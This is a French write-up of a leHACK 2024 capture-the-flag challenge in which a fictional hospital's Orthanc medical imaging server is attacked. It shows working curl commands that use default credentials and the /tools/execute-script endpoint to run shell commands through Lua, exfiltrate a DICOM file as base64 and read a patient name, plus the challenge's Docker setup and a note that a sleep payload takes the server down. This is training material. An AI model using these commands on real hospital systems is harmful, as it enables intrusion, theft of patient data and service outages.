Initié en 2003 par un groupe de personnes réunies sous le nom de Hackerz Voice et inspiré par le célèbre événement de hacking américain nommé DEFCON, leHACK fête ses 20 ans en 2024.
Pour l'occasion, en tant qu'ancien étudiant du Pôle Supérieur De La Salle (association SHIELDS), accompagné de la marraine de la promotion 2024 Claire Kemp, fondatrice de la société IT-Gnosis, j'ai eu l'occasion de créer un challenge pour animer le stand.
Contexte
Le RSSI du CHU HACK vous sollicite pour un test d’intrusion sur son système d’information hospitalier (SIH). Il attire votre attention sur un serveur utilisé pour l’imagerie médicale. Apparemment, les équipes techniques assurent l’avoir bien sécurisé. Prouvez-lui le contraire en lui donnant le nom du patient ayant réalisé un IRM cérébral.
Le serveur est accessible sur l'URL https://medic.hopto.org
Step 1 - Reconnaissance
On commence par regarder ce que contient notre serveur web :
ORTHANC est une plateforme open-source dédiée à la gestion et à l'archivage des images médicales, principalement au format DICOM (Digital Imaging and Communications in Medicine). Elle permet de stocker, de manipuler et de partager des images médicales, facilitant ainsi l'interopérabilité entre différents systèmes et dispositifs médicaux. ORTHANC est utilisée dans les hôpitaux et les cliniques pour gérer les données d'imagerie médicale de manière sécurisée et efficace. Elle propose une API RESTful qui permet l'intégration avec d'autres logiciels médicaux et outils de visualisation.
On apprend qu'il y a une API.
La documentation est disponible en ligne :
On apprend aussi qu'une CVE est sortie en 2023 :
Orthanc before 1.12.0 allows authenticated users with access to the Orthanc API to overwrite arbitrary files on the file system, and in specific deployment scenarios allows the attacker to overwrite the configuration, which can be exploited to trigger Remote Code Execution (RCE).
Un POC est disponible en ligne :
Il demande plusieurs prérequis :
parser = ArgumentParser()
parser.add_argument('--url', required=True, help='The URL of the target')
parser.add_argument('--credentials', default='orthanc:orthanc', help='The basic authentication credentials')
parser.add_argument('--config-path', default='/etc/orthanc/orthanc.json', help='The path to the configuration file')
args = parser.parse_args()
Infos d'internet pour les identifiants :
Conf par défaut trouvable sur internet :
Le POC met à disposition un script pour vérifier la vulnérabilité :
Contenu de mon fichier host.txt :
medic.hopto.org,443
On découvre que l'exploit est impossible :
$ python check_exploit.py hosts.txt
Loaded 1 hosts.
Number of vulnerable hosts: 0
Step 2 - Initial Access
En analysant le code du POC, on découvre qu'il utilise plusieurs endpoint :
/instances
curl -ks https://medic.hopto.org/instances
<html>
<head><title>404 Not Found</title></head>
<body>
<center><h1>404 Not Found</h1></center>
<hr><center>nginx/1.18.0</center>
</body>
</html>
Le seul endpoint fonctionnel semble être /tools/execute-script, les autres sont trigger par le reverse proxy nginx en frontal du serveur Orthanc, inexploitable.
Le résultat /var/lib/orthanc/db-v6/8f/33/8f337f9b-0f19-4904-9aa2-119952eb4281 est intéréssant.
On peut faire un file dessus, on remarque qu'il s'agit d'un fichier DICOM (image radio) :
curl -ks -X POST https://medic.hopto.org/tools/execute-script -u orthanc:orthanc --data-binary 'print(io.popen("file /var/lib/orthanc/db-v6/8f/33/8f337f9b-0f19-4904-9aa2-119952eb4281"):read("*a"))'
/var/lib/orthanc/db-v6/8f/33/8f337f9b-0f19-4904-9aa2-119952eb4281: DICOM medical imaging data
Step 4 - Exfiltration
On lis le fichier.
On le décode côté attaquant et on le place dans un fichier.
curl -ks -X POST https://medic.hopto.org/tools/execute-script -u orthanc:orthanc --data-binary 'print(io.popen("cat /var/lib/orthanc/db-v6/8f/33/8f337f9b-0f19-4904-9aa2-119952eb4281 |base64"):read("*a"))' |tr -d '\n' |base64 -d >radio.dcm && file radio.dcm
radio.dcm: DICOM medical imaging data
Ensuite, on peut soit faire un strings sur le fichier pour récupérer les métadonnées de la radio :
On identifie le nom du patient "Yves Remord", née le 25/10/1995
FROM debian
RUN apt-get update && apt-get install -y --no-install-recommends \
orthanc \
gcc \
netcat-traditional \
curl \
file
COPY orthanc.json /etc/orthanc/orthanc.json
COPY curl-script.sh /tmp/curl-script.sh
RUN chown orthanc:orthanc /tmp/curl-script.sh
RUN chmod 700 /tmp/curl-script.sh
COPY patient1.dcm /tmp/patient1.dcm
RUN chown orthanc:orthanc /tmp/patient1.dcm
USER orthanc
CMD ["sh", "-c", "Orthanc /etc/orthanc/orthanc.json & /tmp/curl-script.sh"]
Fichier curl-script.sh
#!/bin/sh
# Wait for Orthanc to be ready
while ! nc -z localhost 8042; do
sleep 1
done
# Run the curl command
curl -H 'Authorization: Basic b3J0aGFuYzpvcnRoYW5j' -vX POST http://localhost:8042/instances --data-binary @/tmp/patient1.dcm && rm /tmp/patient1.dcm && rm /tmp/curl-script.sh && tail -f /dev/null
Fichier orthanc.json
Fichier patient1.dcm
En utilisant POST, on peut bien interroger l'endpoint :
Ici les possibilités sont infinies , voici une méthode :
On l'encode en b64 (pour faciliter le transfert ).
Voilà ! à tester dans vos audits d'hopitaux, en maitrisant les payloads sur /execute-script... car un sleep 10000 sur l'endpoint coupe tout le serveur...